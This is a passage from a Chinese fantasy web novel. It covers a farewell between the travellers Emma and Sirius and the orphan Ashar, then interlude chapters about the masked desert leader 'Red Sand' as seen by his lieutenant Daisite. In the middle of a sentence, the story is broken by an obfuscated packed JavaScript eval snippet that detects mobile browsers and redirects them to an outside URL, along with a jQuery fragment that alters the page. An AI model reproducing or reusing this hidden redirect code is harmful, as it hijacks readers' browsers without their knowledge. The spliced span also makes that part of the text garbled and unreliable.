罗琳是个有分寸的聪明人,他人的情感私事不好打扰,艾玛又是个有主意的,她也就不再多问,只是目光里还是有点关心。 在又辗转了两座城市之后,罗琳就要带着商队返回母国,目标方向与阿瓦托芬不同。艾玛他们决定在停留的城市下车,另寻商队。 罗琳感念他们的帮助,主动替他们做了引荐。 阿夏尔一路上受了艾玛不少照顾,临到分别的时候,已经跟她相熟了,告别的话也就说得自然而琐碎。 但碰到西里斯的目光时,他还是畏惧地缩了缩,犹豫很久,还是走到了西里斯面前,低着头半天。 他脖颈上被红线切开的伤口恢复得差不多,绷带早就撤下,血痂也已经脱落,能清晰看见两三道切得最深的位置留下的疤痕。西里斯冷冷地打量自己的手笔。 阿夏尔一家遭难的原因,商队里只有罗琳得到了告知。 她选择压下此事,不向他人提及。 “贵族总是这样,从不把普通人的命当命——哎,有什么好说的呢,这样的事只是太多了,多得提起来都让人觉得无力。碰上了,就是命不好,都只能认倒霉。”罗琳摇摇头,“这孩子遇见你们,活下来了,是他好运。没必要让他再多受别人的非议。” 商队里有人为那事故受了伤,丢了命,或者折了财。 如果他们以为这是场普通的强盗袭击也就罢了,阿夏尔一家是最大的受害者,还能博到些同情;但他们要是知道正是这家人置他们于危险之中,那就有的闹了,不责难已经是好心,多数人肯定怨恼,罗琳很难再把这孩子留下。 把一个没有依靠的孩子扔在沙漠,与直接杀了他无异。 西里斯保证他处理好了后续,麻烦不会再涉及商队的人,阿夏尔也不会再惹来祸患,罗琳才能放下心,由同情包庇这孩子。 那位公爵的手眼还涉及不到罗琳的母国,之后带阿夏尔回到她的国家,就更可以安心。 罗琳的副手与阿夏尔出身相同,但已经在他国定居。这次本以为是幸运地与久未相见的堂姐一家重逢,没想到变故这样突然,心中对阿夏尔也格外同情,承诺之后会照顾他。 艾玛临别前送了他们些财物,祝他们今后顺利。 在突生的变故面前,阿夏尔似乎一夜长大了许多,也沉默了不少。 家人的骨灰装进了他母亲遗物中的陶罐,他一直带在身边,时不时会盯着看很久。 阿夏尔不理解西里斯所作所为里的逻辑,也不明白他为什么一度想要杀了自己。 但到底,从结果来说,西里斯先是救了他,阻止了他们带来的麻烦恶化,还帮他收敛了家人的遗体,之后也没有再对他做出任何伤害的行为。 阿夏尔是想要感谢他的,但每每一碰到西里斯冰冷的目光,他总觉得自己做错了事。 艾玛告诉他不用在意,西里斯是因为他自己的一些原因而心情不好。 或许是吧。阿夏尔懵懵懂懂,不是很明白。 世界如此之大,分别大概率就会成为永别。 阿夏尔还是想在离别前向西里斯郑重表达一次感谢,但真到了要分别的时候,他鼓起勇气走到西里斯面前杵了半天,一句话都说不出来,打好的腹稿全忘了个干净。 “谢谢你。”阿夏尔最终还是说了这最简单的感谢,舌头甚至有点打结,嗓子发干。 西里斯仍然自上而下地盯着他,不说好也不说不好,良久后才移开目光。 “你已经做出了决定。你最好不会后悔。” 阿夏尔跟着罗琳的车队离开的时候,还回过头,向艾玛他们挥手,艾玛也挥手回应。 “还是为没杀了他而感到可惜吗?”艾玛没有转头,问身边的西里斯道。 “即使我不动手,他也总有一天会死。死于疾病,死于人祸,死于衰老。生死本来就是神明的事,还给神明也应当。”西里斯的声音仍然是冷的,但很平稳,“我仍然不觉得他有值得你许下一个愿望的价值。我看不到未来,但女巫或许能够看到。” “我只能看到一点点,太远的未来,我也不知道。”艾玛说,“我可以肯定的是,那孩子没有死在昨天,今天不会死,明天也不会。” 西里斯没再说话。 告别的人影看不见了,艾玛转过身:“我们还要再计划之后的路线,不知道月神的神殿到底是个什么样的地方?” 她向天空伸出手,在湛蓝的晴空里,捕捉到了月亮尚且浅淡的影子,将它圈在自己手中。 “阿瓦托芬,‘地上的月亮’。”艾玛望着手中的影子,“那么,如果到达了那里,是不是就能当做……走到了月亮上?” 50.幕间-《赤砂》(1) 黛丝特撩开帘子。 正午日光烈烈,只有少许光线透过篷布。帐外的营地人声阵阵,帐篷里却昏暗而安静,零星点着几盏灯,灯芯的石块烛火一般跃动。 帐内的沙地上铺着线织的毯子,一层叠一层,延伸到帐篷深处,压在一张巨大的靠椅下。椅边铁笼中的野兽在幽暗里睁着一双带着寒光的眼睛,龇着牙对闯入的黛丝特发出了低吼。 靠椅里坐着个男人,暗红的长发落在椅背的毛皮上,像鸟类散落的羽毛。他赤着双足,手里端着个盘子,从盘里捞出一块肉,手穿过笼子的栏杆,递到野兽嘴边。 笼里的老虎停止了低吼,谨慎地望了懒散的男人一眼,靠近他递来的食物,伸出舌头把它舔进了嘴里。 “真浪费。” 黛丝特用自己身后的蝎子尾巴拉上帘子,啧了一声:“那是给你吃的。” “我没胃口。”男人没抬眼睛,把盘子往她的方向递了递,“你要就拿走。” 黛丝特刚走近,那老虎就弓起身来对她龇牙,吓了她一跳。 男人伸出手,摸了摸老虎的下巴,像哄猫一样挠了挠它的喉咙。 老虎呼噜两声,放下了威吓的架势。 “哇,欺软怕硬的畜生!”黛丝特恼道。 “谁把这东西放我帐子里来的?”男人斜了她一眼。 “不是我,我保证,我都没搬过它笼子。这不是临时的货,没地方好放,咳,老大你帐篷宽敞嘛……哎,不是,别这么看我。” 黛丝特缩了缩脖子:“反正明天就卖掉了,你放一下嘛!让让达利,你不知道,那家伙没见过老虎,看见它怕得要死,没出息。” 黛丝特接过盘子,看向笼子里,自在营地见到这老虎以来,第一次看它这么安静:“呃,它真不咬你啊?” “它要是敢咬,明天卖的就是它的皮毛。”男人轻飘飘地说,老虎把头低了低。 不知道是不是错觉,黛丝特觉得它在发抖。 “不是吧,这么通人性?我以为就是普通的老虎呢,要是什么特殊品种,得卖贵点啊。” 黛丝特咕哝着,捞起盘里的肉吃了口,注意到老虎对上她的目光,隐隐又要龇牙,于是率先得意地冲它挤眉弄眼,炫耀着手上的食物。老虎恼怒地立起了尾巴。 “黛丝特。”男人无奈地看了她一眼,“你三十四,不是十四岁。跟它较什么劲?” 黛丝特理直气壮:“它先挑衅我的!” 男人摇摇头。大概是类似劝她稳重的话说过不少,懒得说了。 黛丝特吃两口,渴了:“老大你水放哪儿了?” “左边。自己倒。” 黛丝特在旁边的架子上找到了水壶和杯子,拎着壶直接从壶口往嘴里倒水,喝完抹了抹嘴,把空盘和水壶一搁,顺手把脸上的眼罩扯下来扔在一边,踱着步子溜达到靠垫上往里一躺,把尾巴卷了起来。 黛丝特很喜欢那靠垫,又大又软,不会硌着她尾巴,能当椅子坐,也能当床躺。 吃饱喝足,帐子里又安静,午后的倦意爬了上来。 黛丝特靠在垫子上,眯着眼睛看那边红发的男人。 男人没在看她,也没再摸老虎,支着下巴,不知道在想什么。 他座椅的扶手上搁着张面具,在烛火般的灯影里流转出诡异的光。 黛丝特想,这么看倒长得挺好看的,干净得不像在沙漠里生活的人。 谁能相信让强盗们闻风丧胆、大名鼎鼎的“赤砂”,有着这么年轻的一张脸? 黛丝特第一次见到他的时候也不相信。 那时候还没有赤砂商会,没有什么英雄和后来的传奇故事。 她只是个在沙漠强盗黑吃黑的拼斗里失去了所有同伴的输家,拖着只剩一口气的朋友从死人堆里钻出来,咬着牙拧着劲骂着脏话,一瘸一拐地背着朋友向外走。 她是在那时候碰见赤砂的。 他蹲在高处的建筑废墟上俯视着她,脚边躺着强盗的尸体。 黛丝特记得自己为什么第一眼看他不顺眼。 她那时太狼狈,右眼被划了一刀,血糊了半张脸,抬头都费力;而那个莫名其妙地打量着她的男的身上没一道伤口,脸上还戴着个滑稽的面具。 反正她觉得那面具挺滑稽的。换个场合,大概会有人以为是鬼。 但黛丝特从来也不怕鬼,更不怕这活生生的人。那从容的视线让她恼火,于是黛丝特扯着含着血的喉咙嘶哑地对着他骂了起来:“你他爹的看什么看呢!有种下来,要打就打!” “我看见你刚才的战斗了,很有协作意识。你不错。”那男人评判道,声音顺着风轻飘飘落下来,“我准备建立一个商会,你要入伙吗?” “哈?什么商会?你哪个绿洲城市跑出来的不知死活的傻子吗?莫名其妙说啥呢,我凭什么信你啊你谁啊?”黛丝特啐了一口,“挡着脸神神鬼鬼的东西!” “如果要成为同伴,确实需要互相信任。”他点点头,摘下了面具。 那天晚上很黑,但拼斗的火光烧着,把这一角的天空都点亮了。黛丝特能够清楚看到那张除下面具之后的、年轻的脸。 他暗红色的长发从兜帽里掀出来,在风里像是火焰的余灰。 “你可以叫我‘赤砂’。” 他说,暗红色的眼睛冷冷地盯着她。 黛丝特那年二十七岁,出生在沙漠,成长在沙漠,见过无数恶棍和猛兽。 但那个看起来与凶恶一词相去甚远的男人只是远远看着她,却让黛丝特感到背上发冷。 仿佛要与那感觉呼应的,黛丝特感到脖颈和手腕被什么看不见的东西缠住了,压着她,使她几近窒息。 赤砂说:“你看见我的脸了。选吧。跟我走,或者死。” 在沙漠长大的人,是另一种直觉的野兽。黛丝特的思维被求生的直觉磨砺得尖利而敏锐。 那问题不需要犹豫,总之她不想死。 赤砂身上看不见的力量是压倒性的,黛丝特跟从暴力。她一直如此生活。 虽然,黛丝特一开始不太服气。 她说:“你看起来都能当我儿子了!” 赤砂看着年轻,但也没年轻到那地步,最多比黛丝特小上一点。 他听这话却没生气,只是说:“你还挺会给自己抬辈分。” 这似乎能说明赤砂是个宽容的头领,但黛丝特也摸不准他的脾性。 有时候队里谁说了句她不以为意的话,赤砂转头就把人扔去沙漠里喂秃鹫了。没人敢有异议。 魔法师真是拽啊!黛丝特当时觉得他就是个很有本事的神经病。 没恶意猜测赤砂是个巫师,纯粹是因为他强得太离谱了,很难想象后天掠夺才能的巫师能强到这种程度。 在沙漠里建立商会,本来就是只有神经病才想得出来的事。 商会是干嘛的?做生意!做生意去城市里跟人做呀,你在沙漠前不着村后不着店,只能跟来往商队强盗和天灾打打交道。 就算你是魔法师,还是个很强的魔法师,你要在这老天说了算的沙漠里活得顺风顺水,还在跟强盗团的拼杀里保自己全须全尾,做梦呢! 但赤砂还真就没输过。 强盗团来一个折一个,没有沙暴和飓风摧毁他们,仿佛天灾都要绕着他走。 黛丝特还茫然地在这干旱的沙漠里,久违见到温和的阵雨。 那像笑话一样的“保护商队,只杀强盗”的英雄主义,经他的手,竟然不再是笑话。 黛丝特猜跟着赤砂的人里,大部分人想法都跟她差不多。 谁拳头大跟着谁走,沙漠就是这样的地方。 他们最早只是慑服于赤砂的强大,或许还有少部分是迷信他的人格魅力——黛丝特想到队里某些人崇拜的语调都要起鸡皮疙瘩。 他们都只是在得过且过,没人相信那些高尚的理想能在这草都长不出来的沙地上发芽。但赤砂在这里建出了一片让所有人都为之侧目的移动绿洲。 那白日梦一样的,英雄的故事。 黛丝特第一次被商队里她救下的女孩感谢,被快乐的泪水和赞美笑容环绕,仿佛什么温暖的东西在她脊骨上炸开了,痒酥酥的。黛丝特晕头晕脑。 女孩送了她一条自己的手链,黛丝特日常打打杀杀,手上不戴这么精细的配饰,于是挂在腰上好久,时不时会看着发会儿楞,回过神感觉又有点脸热。 黛丝特出生在沙漠里,父亲是个强盗,母亲是被强盗们劫来的无辜女人。 强盗生下的女儿也是个强盗,就这么简单的事。 她天生身后长着一条蝎子尾巴。但沙漠到处是离奇的东西,混血在这儿算是顶顶普通的那类。 她父亲也不因此觉得女儿是个怪胎,虽然不知道这遗传是怎么个来历,但他一拍酒精浸坏了的脑子,就得出了“那这丫头应该比一般人更能打”的结论。 黛丝特从小被教那些格斗拼杀的本事,在强盗团里捡着半条命生活。她看见母亲死在父亲手上。 反正,沙漠就是这么个地方。 这里不分男人女人,只有有用和没用的人。 黛丝特的本事就是能打,她用战斗的本事让自己变得有用,让自己活得不好招惹,谁碰她得被她挖下二两肉来。 但饶是这样,她那醉眼朦胧的父亲仍然指点着黛丝特对他的同伙说“我看这丫头将来能卖个好价钱”。 黛丝特十四岁的时候一刀扎爆了她那醉昏了的父亲的脑袋,趁着夜色从强盗团里跑出来,加进了另一个强盗团。 她也没什么其他的本事,只会杀人而已。 她长得大概不算漂亮,这是好事,在这样的环境里,美貌只会惹人觊觎。 但黛丝特后来身材不错,甚至找团里关系好的刺青师在身上纹了一堆图案。她对此很有些咬牙切齿的得意和骄傲,恨不能在她那早入了土的混账老爹坟头跳一段助兴。 但她爹恐怕也没有坟墓,沙漠强盗的尸体总是随便哪里一抛就完事。 黛丝特没什么复杂的谋略和头脑,她知道自己只适合跟着人混。 选择头领是个深奥活计,但轮不到她选,有野心的人自己斗来斗去,最后谁坐那把椅子,跟她的喜恶没多大关系。 她换过不少头领跟,也明确知道其中某些人是混蛋,也有人平庸,有人疯狂。 黛丝特后来想,赤砂算哪一类呢? 她说不明白,她总觉得赤砂跟那些人不一样。 他所自称的那些正义和美德已经够吓人了,但黛丝特又不觉得他是个理想的疯子。 她觉得赤砂只是说说而已。他连理想都不在乎。 黛丝特也不知道他真的在乎什么。 在商会里,黛丝特是跟赤砂走得比较近的那类,不是因为她胆子大或者不要命,更不是想讨好头领什么的。 原因说来让伙伴们都觉得好笑:因为赤砂认字。 沙漠里认字的人不多,黛丝特以前待的强盗团里有那么几个懂点文化的,但有些人不过会认两个字,态度就能拽到天上去。 黛丝特以前有事求人帮忙,碰了一鼻子灰,因此对这些文化人印象很不好。 但她一直记得件事,以前团里有个人出身药商,教人一些药材的名字写法和功用,黛丝特对药物有点兴趣,闲得没事在旁边听了一耳朵,留了点印象。 后来有个强盗被毒蛇咬了口,着急找药救命,当时医生有事,一时不在,他们慌不择路,就想找个印象里长得差不多的药给人用了。 幸好黛丝特记得他们要找的那药的名字,跟他们手里药材的标签完全对不上,及时制止了他们,从药包里挑出正确的,才救了那人一条命。 黛丝特以前听人说过什么“知识就是力量”,但她和其他的强盗们一样,觉得不过是那些文化人展现自己优越感、抬高身价的炫耀,对此嗤之以鼻。 可经历了那不大不小的一件事,她却突然有点上了心。 多学点东西,在关键时刻说不定真能救命。 从此黛丝特就有意想多认点字,劫到的货里有书也会多瞧上两眼,但除了有些书的配图挺好看、画得挺像这样的感想之外,一直没多大进展。 强盗们劫来的书要么流到城市去卖了,要么浪费点拿来烧火,或被人拿去当摆设。除了特别珍贵的典籍,团里认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136494|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字的人一般也懒得多看一眼。 但赤砂会看,如果他们劫到的货里有书,赤砂每一本都会翻。 黛丝特多观察了他两次,终于确定这人不是在装,是真的在读,一目十行,看得很快,但有的会多看两遍,甚至在书上做笔记。 黛丝特大为震撼。 赤砂当然不会注意不到她的目光,于是直接问黛丝特:“你有兴趣?” 黛丝特点头,又摇头:“我看不懂。” “你看我半天了。”赤砂说,“那你想学吗?” 他说这话的语气平平常常,不含炫耀,也没有傲慢。 黛丝特眼睛亮了。 但彼时他们还不是很熟,黛丝特对赤砂的畏惧比好奇多,咳了一声本想再矜持一下,又怕态度不好对方翻脸了,身体本能快于思考一步诚实地回答:“想。” 赤砂没有多说,让黛丝特坐到他旁边,在沙地上写字。 赤砂休息时往往一个人待着,别人不大敢打扰。但后来看见他坐在一边翻开书,黛丝特就会很积极地跑去上课,赤砂也好脾气地教她一个字一个字地认。 有时候黛丝特跟同伴们正吃吃喝喝高兴着呢,看见赤砂又一个人坐着看书了,立刻嘴一抹扔一句抱歉就溜了。 商会里大多人是强盗出身,都那派习性,对她的反应不大高兴,阴阳怪气地笑道黛丝特又去拍老大马屁啦? 黛丝特哈哈一笑,把对方头埋进地里揍了一顿,神清气爽地跑去找赤砂了。 赤砂等她打完过来说你还学不学? “学学学。”黛丝特坐好了。 看他们氛围良好,伙伴里也有好奇的人过来一起加入学习,黛丝特为自己不是这个课堂里最笨的人了而感到得意。 但有些人不是真心想学,过来抱着些找茬和隐秘的挑衅心理,会明知故问一些简单的问题。 赤砂看了对方两秒,不知哪里来的绳索闪电般飞来把人捆好吊在了一边的架子上,营地一时鸦雀无声。 赤砂说:“明天早上想清楚了再放下来。其他人继续。” 黛丝特看热闹不嫌事大,幸灾乐祸地在当晚回去睡觉前走到被吊的同伴身边拍了拍他屁股——因为倒过来吊着,肩膀太低了拍不着——把人拍得转了个圈,哼着歌溜了。 有良心的同伴欲言又止,战战兢兢,说老大在沙漠吊一晚上要死人的。 赤砂说死不了。 确实没死。那人敢怒不敢言,学会了在赤砂面前进一步夹起尾巴做人。 总的来说,赤砂是个很好的老师,在黛丝特看来是很好了,她学不会也不骂人。 不如说她好像没听见过赤砂骂人,比起用口语泄愤,他喜欢直接动手。 魔法师真拽啊。黛丝特还是想感慨,甚至有点羡慕。 黛丝特学习的态度和意愿是很好,但学起来仍然不那么顺利,时不时前一天刚学的东西又忘了,教过五次的词又搞错了。 她含糊含糊,东掰西扯地找借口,什么昨天天气太热了水喝多了把知识稀释了,刚刚打了一架上头太激动就忘了。 这种时候赤砂看她的目光随机介于关爱傻子和马上要吊人的警告里。 看别人被吊那是看笑话,自己被吊可就不好玩了。 黛丝特是个暴脾气,素来受不了被他人威胁挑衅,但真的涉及生命安全的威胁是另一回事,凡事性命为重。 赤砂的威胁无论轻重,都被她本能划进了生命威胁一类。黛丝特滑跪认错次数多了就熟练了习惯了,甚至出乎她自己意料地并不为此反感。 她想了想,或许是因为赤砂的态度还行。 黛丝特总要跟人争那一口气,别人的态度决定她的态度。 大多威胁的人气焰嚣张地把空空大话一撂,黛丝特一看就上了火;赤砂跟她讲道理时却说得上态度和缓,问她你怎么又记错了?跟着我再写一遍,理解背后的道理,不要死记硬背,不懂就问,说过很多次,是不是? 他咬字里带了点轻微的磨牙声。 明明,那种压着黛丝特背脊的,大概是会让她恼火的威胁,但黛丝特不知为何总是越听越心虚,完全没平时理直气壮的劲,感觉背上冷汗要下来了。 她乖乖把尾巴都放平收起来,低头重背,有时会听见隐约的叹息声。 赤砂商会刚建立的时候,成员人数不多,赤砂在他们面前也不戴面具。但每回和商队打交道,他都把面具戴得严严实实,还在脖颈上戴了变声石改变音色。 大家都不明白赤砂行为的理由,赤砂也不做解释,于是总有人想出了自圆其说的说法,比如威慑,神秘感,不想被人惦记等等。 黛丝特也有自己自圆其说的解释:“因为这样很帅吧,我懂。” 赤砂无语地打量她。 赤砂商会里的人在沙漠摸爬滚打,身上多少都带伤。黛丝特右眼有一道很深的刀疤,因此瞎了眼睛。 伙伴们倒是不怕,商队里却总有些没见过世面的年轻人因此惊惧,小孩一见她就躲得老远。 为了不吓到他们,黛丝特老老实实戴起了眼罩。 虽然同伴评:你吓人也不单是眼睛的问题。 因为说了实话而被黛丝特踢了一脚。 黛丝特喜欢小孩,她觉得小孩热闹,好玩。她甚至自己想养,但是又不想生。 在沙漠捡小孩不容易,捡来的小孩养活也不容易,他们从强盗团救下的孩子,黛丝特送走的时候都很有些不舍。 同伴取笑说还好那孩子命大送走得早,否则没死也要被黛丝特做的饭毒死。 黛丝特又踢了说话的人一脚。 黛丝特虽然嫌眼罩热,但是时不时对镜自赏又觉得也还蛮帅的,和伤疤不同的帅法。她这种思维方式会觉得赤砂戴面具是为了帅也可以理解。 黛丝特还觉不够,深以为然地点头接着道:“‘赤砂’这名字也很帅啊。‘染红的沙子’,是威胁别人不小心点就会血溅当场的意思对不对?不愧是老大你,很含蓄又很霸气的威胁。” 赤砂又沉默地看了她良久,说:“我前两天让你背的药理书,重背。” 黛丝特:“啊?不是,为什么?” 51.幕间-《赤砂》(2) 赤砂懂医术,还会制毒。 黛丝特对毒药感兴趣很久了。因为她那天生的尾巴,谁见了都要避两分,唯恐是有毒的。 黛丝特倒也希望,但她快二十岁的时候,尾针上才生出一点能麻痹人的毒来,与致死相去甚远。 因此见赤砂会,她也就很心痒想学。 赤砂无所谓,扔给她药理书,让她一边认字一边背,也教她些实践。 黛丝特在实践能力上远胜过书面学习,药理书上的字还认不完,毒药已经会做了很多种,甚至青出于蓝胜于蓝地能调出些赤砂都没教过的毒来。 黛丝特很得意,说老大你可得小心点了,以后要是被我下了毒都没发现呢! 赤砂听了这话,眯了眼睛,用一种很微妙的目光看她。 黛丝特被看怂了,唯恐自己出师前就先夭折了,冷汗着哈哈一笑说我开玩笑呢老大你千万别当真…… 赤砂笑笑,移开了目光,没做评论,但后来仍然教她。 黛丝特有时候觉得他脾气怪好的,很难理解,难不成赤砂骨子里其实是个蛮温柔的人? 刚加入赤砂队伍的时候,因为眼睛上的重伤,赤砂亲手帮她做的处理。黛丝特本来以为会很疼,以前身上拉个见骨的口子,强盗团的医生给她处理时痛得她想晕过去。 但眼睛那次意外不难捱,结束时还给了黛丝特一种“这就完了?”的茫然。 黛丝特以为这能作为赤砂其实比较温柔的证据之一,但后来有次他们又救了个商队,她身上受了点小伤,商队里的队医是个看着柔柔弱弱的小姑娘。 小姑娘说话糯糯的,可爱又好听,她感激地说要帮黛丝特处理伤口,黛丝特欣然接受了。 然后就被那柔柔弱弱的小姑娘擦药擦得痛得快昏过去。 黛丝特咬着牙明白了一件事:赤砂给她处理伤口不怎么疼是他技术好,跟他性格没有关系。这条根据还是别用来证明了。 赤砂跟商队的人谈交易时总有一两个人跟着,黛丝特经常是跟在他身边的人之一。 那些生意话她听不太懂,黛丝特负责冷着一张脸在旁边站着展示气场,她觉得这职责还挺有使命感。 商队的人一开始碰到他们总是战战兢兢,即使被他们救助了,许多也仍然将信将疑。 但“赤砂”的名字逐渐传开,后来商队听见他们的名字,看到赤砂如传闻一般戴着面具的外表,就立时放了心。 单独谈话时他们又总会问起,赤砂为什么戴着面具。 赤砂说因为一些个人原因,他不想回答。大多人也就识相不问了。 还有人说起,赤砂先生——有时因为变声石调成了女声,也有人叫他女士——你的通用语真标准啊,谈吐不一般,像是……您是否是哪里的贵族呢? 赤砂商会里不少人有类似的想法,黛丝特也曾经猜过。 通用语虽然已经很普及,但各地的方言还是会跟通用语揉在一块儿,听着不伦不类。赤砂的通用语发音却很标准,标准得让黛丝特一开始有点不舒服。 商队告辞之后,赤砂摘下面具和变声石,把变声石扔给黛丝特。 赤砂用的变声石是他自己调制过的,他会许多各方各面的本事,这调过的变声石音域很广。 商会的伙伴因为好玩,会偷摸拿来把它的声音调成熊一般厚重嘶哑,或者女鬼一般尖细幽怨。 赤砂无所谓自己展现给别人什么声音,经常戴上就按先前设置直接用了,然后开口把对面吓一激灵,才摸着脖颈调音。 伙伴们经常因此爆笑。黛丝特是热衷这游戏的参与者之一。 这种小玩笑,赤砂倒不介意,这是商会成员难得觉得他好相与的时候。 黛丝特接下变声石,听见赤砂说:“你也觉得我看起来像贵族?” 她抬头,看赤砂靠在一边,随意地问她,看不出喜怒。 黛丝特其实觉得他像又不像,她看了赤砂好一会儿,说:“像被贵族虐待过的。” 赤砂嗤了一声,笑了。什么都没再说。 黛丝特没什么野心,也无所谓谈不谈理想。 她最大的愿望就是活下去,最好能活得高兴。 赤砂商会是她从未意想过的、突如其来的意外,将黛丝特此前从未想象过的、一种截然不同的生活方式展现在了她面前。 黛丝特觉得这活法很有趣,乐在其中。 有时她回过头来看,自己也觉得不可思议,这样的活法对沙漠强盗来说太疯狂了! 可她在那些从来活在另一个世界里的商队的人眼中,看到她曾经习以为常的事也是疯狂的。 怎么样都好吧,她懒得多想。 赤砂说她喜欢看的那些快意恩仇的小说文笔都太烂了,看多了对脑子不好。 黛丝特据理力争,可是好看啊!赤砂无言,也不强行纠正她的品味,每每收到那种三流小说仍然会扔给她。 黛丝特乐,觉得她老大就是在这些小地方上很有点体贴的人情味。 黛丝特觉得赤砂是个不错的头领,更偏心点,是她见过的头头里最好的一个。 但不是所有人都那么想。 这片沙漠不可能真的总让一个人顺风顺水。 有些人跟着赤砂,只是因为他很厉害。 他们跟着强大的人,是为了让自己过上更舒服的日子。 他们以为赤砂只是打着商会的名号,要建出一个比一般的强盗团更了不得、更虚伪而暴力的东西。 赤砂商会虽然算不上清贫艰苦,但从强盗处劫来的财富,不少会被赤砂送给商队。他也并不是无来由就追着强盗团穷追猛打,像某些人期待的那样四处狩猎劫财,赤砂决定要对谁动手,往往有更多原因。 他也不占据途经的绿洲,只会带着同伴在那里稍作休息,赤砂商会没有固定的据点。 他们被商队感激,但被强盗记恨。 对有些人来说,毫无实际好处的感激,绝比不上那些记恨让人悚然刻骨。 那些人不是想活成什么高尚的英雄,沙漠里无数传说中最微不足道又好笑的那一类故事。他们不想要这样的生活。 但离开这里,他们会成为强盗,成为强盗就是赤砂的敌人,赤砂的敌人都会死。 所以他们先动了手。 黛丝特撞见几个背叛的同伴对赤砂动手是个意外,外头下了小雨,她有事找赤砂,拉开帐子的时候没打招呼,就看见地上眼熟的尸体。赤砂正在把插在身上的刀拔出来。 黛丝特看见刀伤在他身上愈合,倒在地上的尸体脸上凝固着惊恐的表情,像看见怪物。 确实是怪物。黛丝特想。 有着强大魔法,刀剑穿心而不死,聪明又冷酷的怪物。 赤砂转过头来,打量她。 黛丝特想起他们第一次见面那天,这次她平视着赤砂。那张脸数年来没有一丝一毫变化。 “你看到了。”他说。 “呃。”黛丝特看了看地上昔日同伴的尸体,“需要我说遗言吗?抱歉,给我几分钟想一下。” 赤砂看了她几秒,收回目光:“算了。你的话没事。” 黛丝特指了指自己:“是说我信得过的意思?” “你没掺和他们的事,你没那脑子。”赤砂说。 “好吧……不用死倒是好事,当你在夸我了。”黛丝特挠了挠脸,“但是,你那个,到底是……怎么回事?” “有些话不该问,你心里有数。” “我大难不死,可以当作你真把我当自己人嘛。对自己人都不能说?好好好你不想说就算了。” 黛丝特摆摆手,在过了半天的寂静里,在满地的血里又出声:“你接下来打算咋办?” 赤砂擦了擦自己的面具,重新戴上它:“我还没有找到我要的东西。赤砂商会得继续下去,一切照常。” 黛丝特看着他的背影,赤砂总是很冷静。但她突然想,像是这些年的熟悉所积攒下来的细微的感知,她觉得赤砂是有点难过的。 是人会为此难过很正常,但她看着赤砂身上愈合得连疤痕都没有的皮肤想,他还算人吗。 但黛丝特只是说:“你是老大,听你的。” 黛丝特后来细细一回想,觉得,她确实是记得赤砂的好比较多。 在别人看来,赤砂脾性古怪,神秘,不合群,不知道在想什么,强大又异常得令人恐惧。 黛丝特不在乎那些,反正赤砂是她老大,又不是她对手。 她信任赤砂,黛丝特无法向所有人解释这份信任。 她可以无视赤砂神秘怪异的个性里那些让人不安的东西,但很多人无法接受,即使他们是出生入死过的伙伴。 黛丝特理解到这点的时候,有点模模糊糊的难过。 赤砂商会的成员变动过很多次,有些人死在拼斗或意外里,有些人因为背叛或背叛的苗头死在赤砂或同伴的手上。 但赤砂商会的名字传开了,许多慕名的、真的怀有一些过度天真的想法、又满怀热情的成员加入,太热闹了,黛丝特高兴之余又有点陌生。商会渐渐变成了她不熟悉的样子。 黛丝特不是第一个跟着赤砂走的人,最后倒成了跟着他走得最久的一个。 队里有人开始叫她“大姐头”,黛丝特听了嘎嘎乐,觉得很有意思,随他们叫。 她从来不客气,大家聚一起喝酒她从不缺席。喝多了有人就要提了,笑着问起来,说大姐头你——“是不是喜欢赤砂老大啊?” 这话以前听过。 黛丝特有点喝多了,看周围熟或半熟的脸,想起比较早的时候商会那些成员。 赤砂现在在营地里也总戴着面具,变声石也少摘了,新加入的成员许多还真不知道他性别样貌。他过去还会在同伴的宴席里坐坐,如今从不见影子。 许多人并不奇怪,因为传说里的赤砂就是这样。他们早就逐渐看不到面具后的人,只知道赤砂这个符号了。 而最早那些成员,不论对赤砂服不服气,都知道他是那么个人。 大家都没什么文化,少不了要谈些三俗的东西,见黛丝特跟赤砂走得近就要问——“你是不是看上赤砂了?” 黛丝特说不清自己是个什么情绪。 这几年她学着,怎么,像他们说的,“成熟”了不少,不跟人随便赌气了,以前她总热衷要跟人吵个明白,一分不能让。 黛丝特想起那种感觉,好像兴头突然上来了,哐的一下把酒瓶往石头上一砸。 她又有点恼火,因为被误会,还有一些是冲着赤砂本人的、她没细想过的恼怒。 “怎么可能!别乱说哈,他不是我喜欢的类型——烦死了!心眼子多得比网眼还密,真要处起来不得累死,不处也已经累死了!什么时候脑袋被他别下来都不知道,还有那心思……起什么哄,丫的!我跟你们说,那家伙阴险狡诈满肚子坏水——” “嘘、嘘——”有人看笑话,也有好心的小年轻要她住口了,压低了声音着急地提醒,“老大在后面呢!” 黛丝特回过头,看见赤砂靠在营帐边上,戴着面具,看不见脸。那面具戴着真像鬼似的。 似曾相识一样的。黛丝特想起以前也有那么次,然后伙伴开始起哄了,说,“黛丝特!他听见你说他坏话了!”有人开始比划抹脖子的动作。 那不生不熟的时候,她还真有点慌,酒醒了一半,第二天硬着头皮打哈哈说我昨天喝多了老大我没说啥吧你别往心里去啊! 赤砂说嗯。 黛丝特心虚,半天最后认错补了句,我不是有意说你坏话的……不是,你要是,你要是真想宰了我能不能事先说一声我好心理准备一下。 她见到赤砂很少见地,无奈地压了压眉毛:“就为这种事?你觉得我是这样的人?” 当时黛丝特呆了一会儿,然后就跑去踢昨晚起哄的同伴的屁股了。有的 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“真没生气啊。”黛丝特愣愣道。 “我说了。” 黛丝特愣一会儿,冷不丁道:“这都不生气,挺没劲的。” 赤砂笑了一声,戴回面具:“滚。” 但后来,后来,黛丝特总是后知后觉,她学什么都开始得太迟了。 她后来才慢慢意识到,赤砂并不喜欢当首领。他当首领似乎是一种无法可想的选择。 赤砂并不讨厌他们的宴会,不像那些人以为的看不起粗俗简陋的娱乐,但他认为自己不该置于那样的情境之中,不愿分享他们的快乐。 他讨厌他自己。 真奇怪啊。黛丝特想。她以为所有人都是为了追求幸福而活着的。 